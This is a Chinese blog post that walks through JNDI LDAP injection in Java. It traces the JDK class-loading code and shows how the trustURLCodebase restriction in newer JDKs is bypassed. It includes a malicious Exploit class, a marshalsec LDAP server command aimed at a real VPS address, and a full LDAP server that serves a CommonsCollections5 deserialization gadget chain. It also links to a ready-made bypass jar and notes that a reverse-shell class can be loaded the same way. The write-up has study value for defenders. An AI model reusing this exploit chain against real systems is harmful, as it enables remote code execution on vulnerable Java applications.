之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议

  JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html

  今天围绕JNDI LDAP注入,RMI先不搞了.

  一图胜千言:

    图片是偷的threezh1的:    

 看这个图,就感觉很清晰.

  测试ldap攻击:jdk版本选择:jdk8u73 ,测试环境Mac OS

  jdk8系列各个版本下载大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

  恶意类:Exploit.java:

  1. import javax.naming.Context;
  2. import javax.naming.Name;
  3. import javax.naming.spi.ObjectFactory;
  4. import java.io.IOException;
  5. import java.io.Serializable;
  6. import java.util.Hashtable;
  7.  
  8. public class Exploit implements ObjectFactory, Serializable {
  9. public Exploit(){
  10. try{
  11. Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
  12. }catch (IOException e){
  13. e.printStackTrace();
  14. }
  15.  
  16. }
  17.  
  18. public static void main(String[] args){
  19. Exploit exploit = new Exploit();
  20. }
  21. @Override
  22. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  23. return null;
  24. }
  25. }

  编译成class文件即可.

  使用marshalsec构建ldap服务,服务端监听:

  

  1. /root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666

  

  客户端发起ldap请求:

  客户端代码:

    

  1. import javax.naming.InitialContext;
  2. import javax.naming.NamingException;
  3.  
  4. public class JNDIClient {
  5. public static void main(String[] args) throws NamingException {
  6. new InitialContext().lookup("ldap://119.45.227.86:6666/a");
  7. }
  8. }

 

  坑:可能客户端都是jdk8u73,但是发现不能ldap命令执行,八成是vps的原因,对Exploit.java文件编译,要使用较低版本的jdk,我这里编译Exploit.java文件,使用的jdk版本是:

  

  如果你是用jdk>8的版本编译,然后运行ldap服务,是不能执行命令成功的,因为客户端是1.8*版本,请求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建议恶意类文件编译采用jdk<=1.8版本,为了稳定期间选择我这里jdk1.6.

  jndi ldap执行命令原理分析刨析:

    debug:

    

  跟进去,深入跟踪函数一直到这里:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

  可通过反射加载进去单独设置debug:   

  1. static ObjectFactory getObjectFactoryFromReference(
  2. Reference ref, String factoryName)
  3. throws IllegalAccessException,
  4. InstantiationException,
  5. MalformedURLException {
  6. Class<?> clas = null;
  7.  
  8. // Try to use current class loader
  9. try {
  10. clas = helper.loadClass(factoryName);
  11. } catch (ClassNotFoundException e) {
  12. // ignore and continue
  13. // e.printStackTrace();
  14. }
  15. // All other exceptions are passed up.
  16.  
  17. // Not in class path; try to use codebase
  18. String codebase;
  19. if (clas == null &&
  20. (codebase = ref.getFactoryClassLocation()) != null) {
  21. try {
  22. clas = helper.loadClass(factoryName, codebase);
  23. } catch (ClassNotFoundException e) {
  24. }
  25. }
  26.  
  27. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
  28. }

 先看注释:

  继续debug:

  如果是本地的class文件加载:

  

  就直接loadClass加载本地class文件即可.

  但是我们这里是客户端远程加载ldap地址:

  

  走这个逻辑:

  

  发现多了个codebase:

  跟进loadClass:

  

  查看debug视图页面:

  

  codebase是我们的ldap的地址:

    

  最后返回:

    

  触发命令执行:

  

  通过上面debug知道codebase是个url地址,那么什么是codebase呢?

  

  1. 简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
  2.  
  3. 你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。 
  4.  
  5. codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。 

  可以这么说jndi ldap远程加载本质上就是:codebase+classname 

  

  提高jdk版本为:jdk8u191:

  再次客户端发起ldap请求:

   

  会发现,有ldap请求,但是没有命令执行成功:

  开启debug进去看看:

    回到老地方:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

  跟进loadClass:
  

  多了一个判断:

  贴代码:

    

  1. public Class<?> loadClass(String className, String codebase)
  2. throws ClassNotFoundException, MalformedURLException {
  3. if ("true".equalsIgnoreCase(trustURLCodebase)) {
  4. ClassLoader parent = getContextClassLoader();
  5. ClassLoader cl =
  6. URLClassLoader.newInstance(getUrlArray(codebase), parent);
  7.  
  8. return loadClass(className, cl);
  9. } else {
  10. return null;
  11. }
  12. }

  直接走了else,不能在反射实例化了..  

 gg了,默认情况下,trustURLCodebase=false,如果还想jdni ldap命令执行成功,就要想办法让trustURLCodebase=true:

    

  网上已经给了解决方案来看看:

    来试一把:

  依赖环境:

    

  1.   <dependency>
  2. <groupId>com.unboundid</groupId>
  3. <artifactId>unboundid-ldapsdk</artifactId>
  4. <version>3.1.1</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>commons-collections</groupId>
  8. <artifactId>commons-collections</artifactId>
  9. <version>3.2.1</version>
  10. </dependency>

    LdapServer.java:

  1. package com.test.fastjson.jndi;
  2.  
  3. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  4. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  5. import com.unboundid.ldap.listener.InMemoryListenerConfig;
  6. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  7. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  8. import com.unboundid.ldap.sdk.Entry;
  9. import com.unboundid.ldap.sdk.LDAPResult;
  10. import com.unboundid.ldap.sdk.ResultCode;
  11. import org.apache.commons.collections.Transformer;
  12. import org.apache.commons.collections.functors.ChainedTransformer;
  13. import org.apache.commons.collections.functors.ConstantTransformer;
  14. import org.apache.commons.collections.functors.InvokerTransformer;
  15. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  16. import org.apache.commons.collections.map.LazyMap;
  17.  
  18. import javax.management.BadAttributeValueExpException;
  19. import javax.net.ServerSocketFactory;
  20. import javax.net.SocketFactory;
  21. import javax.net.ssl.SSLSocketFactory;
  22. import java.io.ByteArrayOutputStream;
  23. import java.io.ObjectOutputStream;
  24. import java.lang.reflect.Field;
  25. import java.net.InetAddress;
  26. import java.net.URL;
  27. import java.util.HashMap;
  28. import java.util.Map;
  29.  
  30. public class LdapServer {
  31. private static final String LDAP_BASE = "dc=example,dc=com";
  32.  
  33. public static void main ( String[] tmp_args ) throws Exception{
  34. String[] args=new String[]{"http://119.45.227.86/#Exploit"};
  35. int port = 7777;
  36.  
  37. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  38. config.setListenerConfigs(new InMemoryListenerConfig(
  39. "listen", //$NON-NLS-1$
  40. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  41. port,
  42. ServerSocketFactory.getDefault(),
  43. SocketFactory.getDefault(),
  44. (SSLSocketFactory) SSLSocketFactory.getDefault()));
  45.  
  46. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
  47. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  48. System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  49. ds.startListening();
  50. }
  51.  
  52. private static class OperationInterceptor extends InMemoryOperationInterceptor {
  53.  
  54. private URL codebase;
  55.  
  56. public OperationInterceptor ( URL cb ) {
  57. this.codebase = cb;
  58. }
  59.  
  60. @Override
  61. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  62. String base = result.getRequest().getBaseDN();
  63. Entry e = new Entry(base);
  64. try {
  65. sendResult(result, base, e);
  66. }
  67. catch ( Exception e1 ) {
  68. e1.printStackTrace();
  69. }
  70. }
  71.  
  72. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
  73. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  74. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  75. e.addAttribute("javaClassName", "foo");
  76. String cbstring = this.codebase.toString();
  77. int refPos = cbstring.indexOf('#');
  78. if ( refPos > 0 ) {
  79. cbstring = cbstring.substring(0, refPos);
  80. }
  81.  
  82. e.addAttribute("javaSerializedData",CommonsCollections5());
  83.  
  84. result.sendSearchEntry(e);
  85. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  86. }
  87. }
  88.  
  89. private static byte[] CommonsCollections5() throws Exception{
  90. Transformer[] transformers=new Transformer[]{
  91. new ConstantTransformer(Runtime.class),
  92. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
  93. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
  94. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
  95. };
  96.  
  97. ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
  98. Map map=new HashMap();
  99. Map lazyMap=LazyMap.decorate(map,chainedTransformer);
  100. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
  101. BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
  102. Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
  103. field.setAccessible(true);
  104. field.set(badAttributeValueExpException,tiedMapEntry);
  105.  
  106. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  107.  
  108. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  109. objectOutputStream.writeObject(badAttributeValueExpException);
  110. objectOutputStream.close();
  111.  
  112. return byteArrayOutputStream.toByteArray();
  113. }
  114. }

  运行LdapServer.java,启动服务端:

    

  客户端调用ldap: 

  1. import javax.naming.InitialContext;
  2. import javax.naming.NamingException;
  3.  
  4. public class JNDIClient {
  5. public static void main(String[] args) throws NamingException {
  6. new InitialContext().lookup("ldap://127.0.0.1:7777/a");
  7. }
  8. }

     

  成功执行命令,bypass trustURLCodebase=false的修复方案,debug下,看看是怎么导致命令执行的:

  debug跟进函数,看比较重要的文件:

  /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class

  摘出代码:

  

  1. if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
  2. var3 = Obj.decodeObject((Attributes)var4);
  3. }

  发现会判断获取到数组的第二个位置的值,是否为空,不为空就走Obj.decodeObject:

  跟进decodeObject:

  查看JAVA_ATTRIBUTES:

 把元素都存储在了数组中,可以把他们理解成这是key,get(*),获取的是值,就是value:

   把debug重要部分代码贴出来:

  

  1. static Object decodeObject(Attributes var0) throws NamingException {
  2. String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
  3.  
  4. try {
  5. Attribute var1;
  6. if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
  7. ClassLoader var3 = helper.getURLClassLoader(var2);
  8. return deserializeObject((byte[])((byte[])var1.get()), var3);
  9. } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
  10. return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
  11. } else {
  12. var1 = var0.get(JAVA_ATTRIBUTES[0]);
  13. return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
  14. }
  15. } catch (IOException var5) {
  16. NamingException var4 = new NamingException();
  17. var4.setRootCause(var5);
  18. throw var4;
  19. }
  20. }

  获取数组第四个元素就是java codebase即ldap地址:

  继续往下:

  

  debug发现value是:

  JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"

  var2=java codebase,classloader加载的是codebase:

  跟进去:

  重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class

  文件位置:  

  1. ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
  2. ClassLoader var2 = this.getContextClassLoader();
  3. return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
  4. }

  如果var1不为空,设置trustURLCodebase=true!!!

   这样他又可以classloader加载了!

  

  下一步走到这里,反序列化codebase:

 

   

  跟进desrializeObject方法,调用readObject,触发rce:

  

  为了走我们debug的流程触发rce,所以exp里面需要给属性设置内容

  

  设置的值是反射加载调用实例化:

  

  改造exp:让我们更方便的进行jdk高版本下的jdk利用:

  演示效果,实现自定义恶意类定义+自定义ldap端口:

  vps上监听:

  1. java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234

 

 

  客户端发起远程ladp请求:

  

  1. import javax.naming.InitialContext;
  2. import javax.naming.NamingException;
  3.  
  4. public class JNDIClient {
  5. public static void main(String[] args) throws NamingException {
  6. new InitialContext().lookup("ldap://119.45.227.86:1234/a");
  7. }
  8. }

 如果想反弹shell,在自己vps上写个反弹shell的恶意类,编译后,远程加载,即可反弹shell

  bypass jar包下载地址:http://119.45.227.86/hello.zip

  关于jndi jdk高版本bypass其他方法,等我有时间,再来补全!累了!

 jdni注入学习参考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP        

JNDI注入和JNDI注入Bypass的更多相关文章

  1. Spring IOC三种注入方式(接口注入、setter注入、构造器注入)(摘抄)

    IOC ,全称 (Inverse Of Control) ,中文意思为:控制反转, Spring 框架的核心基于控制反转原理. 什么是控制反转?控制反转是一种将组件依赖关系的创建和管理置于程序外部的技 ...

  2. 轻松学,浅析依赖倒置(DIP)、控制反转(IOC)和依赖注入(DI) 依赖注入和控制反转的理解,写的太好了。

    轻松学,浅析依赖倒置(DIP).控制反转(IOC)和依赖注入(DI) 2017年07月13日 22:04:39 frank909 阅读数:14269更多 所属专栏: Java 反射基础知识与实战   ...

  3. Spring 设值注入 构造注入 p命名空间注入

    注入Bean属性---构造注入配置方案 在Spring配置文件中通过<constructor-arg>元素为构造方法传参 注意: 1.一个<constructor-arg>元素 ...

  4. XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式

    SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库. 比如有一个图书馆站点book ...

  5. IOC 构造函数注入vs属性注入

    1.不管是构造函数注入还是属性注入,都要先把对象给new 出来,构造函数应该也是public.2.一般使用 配置文件,属性注入,不用使用特性,直接配置,初始化或依赖,凡是注入的,都要有访问权限,pub ...

  6. Stacked injection--堆叠注入--堆查询注入

    Stacked injection--堆叠注入--堆查询注入 原文地址;http://www.sqlinjection.net/stacked-queries/   本篇属于集合原作者的思路和个人想法 ...

  7. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  8. Spring构造器注入、set注入和注解注入

    记得刚开始学spring的时候,老师就反复的提到依赖注入和切面,平常的java开发中,在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种方法耦合度太高并且不容易测试,sp ...

  9. Spring注入值得2种方式:属性注入和构造注入

    Spring是一个依赖注入(控制反转)的框架,那么依赖注入(标控制反转)表现在那些地方了? 即:一个类中的属性(其他对象)不再需要手动new或者通过工厂方法进行创建,而是Spring容器在属性被使用的 ...

  10. Spring接口编程_设值注入和构造注入

    说明: UserManagerImp是设值注入,UserManagerImp2是构造注入 接口不注入,也就是在Spring配置文件中没有接口的<bean>,但是定义的时候是用接口 priv ...

随机推荐

  1. 3- MySQL数据类型

    MySQL表字段类型 MySQL数据表的表示一个二维表,由一个或多个数据列构成. 每个数据列都有它的特定类型,该类型决定了MySQL如何看待该列数据,并且约束列存放相应类型的数据. MySQL中的列表 ...

  2. PHP--date转成时间戳,time()获取的是秒数

    date("Y-m-d H:i:s");  //如果存成datetime型在MYSQL中 必须用这种格式 实现功能:获取某个日期的时间戳,或获取某个时间的时间戳.strtotime ...

  3. MySQL批量删除数据表

    SELECT CONCAT('drop table ',table_name,';') FROM information_schema.`TABLES` WHERE table_schema='数据库 ...

  4. 编译Android 4.4源代码并烧录到Nexus4

    环境准备: 基本环境:ubuntu-12.04-desktop-64bit(裸机或者Windows下虚拟机安装均可,14.04也可以) 其他要求:空闲磁盘空间100G以上,代码部分接近10G,内存越大 ...

  5. hdu3018 一笔画问题

    题意:       给你一幅画,这幅画由点和边构成,问你最少几笔能把这幅画画完. 思路:      这个题目的结论比较巧妙,首先我们考虑下,如果给的图是欧拉图,或者是条欧拉回路,那么我们一笔就搞定了, ...

  6. unresolved external symbol _WinMain@16

    vc下,新建一个win32项目,就写了个main函数,打印hello ,出现了如标题所述的错误 原因: 你建立了一个WINDOWS应用程序,可是你却在入口函数的时候使用main而不是WinMain 解 ...

  7. c/c++ 指针数组 和 数组指针

    看这个标题都要晕了,我们不妨把他拆开来理解,比较容易 指针数组:对象是一个数组,数组元素的类型是指针 指针数组的定义方式: 类型名 *数组名[数组长度]; 如: int *p[8]; 数组指针:对象是 ...

  8. 【JavaScript】Leetcode每日一题-组合总和4

    [JavaScript]Leetcode每日一题-组合总和4 [题目描述] 给你一个由 不同 整数组成的数组 nums ,和一个目标整数 target .请你从 nums 中找出并返回总和为 targ ...

  9. 【python】Leetcode每日一题-最大数

    [python]Leetcode每日一题-最大数 [题目描述] 给定一组非负整数 nums,重新排列每个数的顺序(每个数不可拆分)使之组成一个最大的整数. 注意:输出结果可能非常大,所以你需要返回一个 ...

  10. 【python】Leetcode每日一题-反转链表 II

    [python]Leetcode每日一题-反转链表 II [题目描述] 给你单链表的头节点 head 和两个整数 left 和 right ,其中 left <= right .请你反转从位置 ...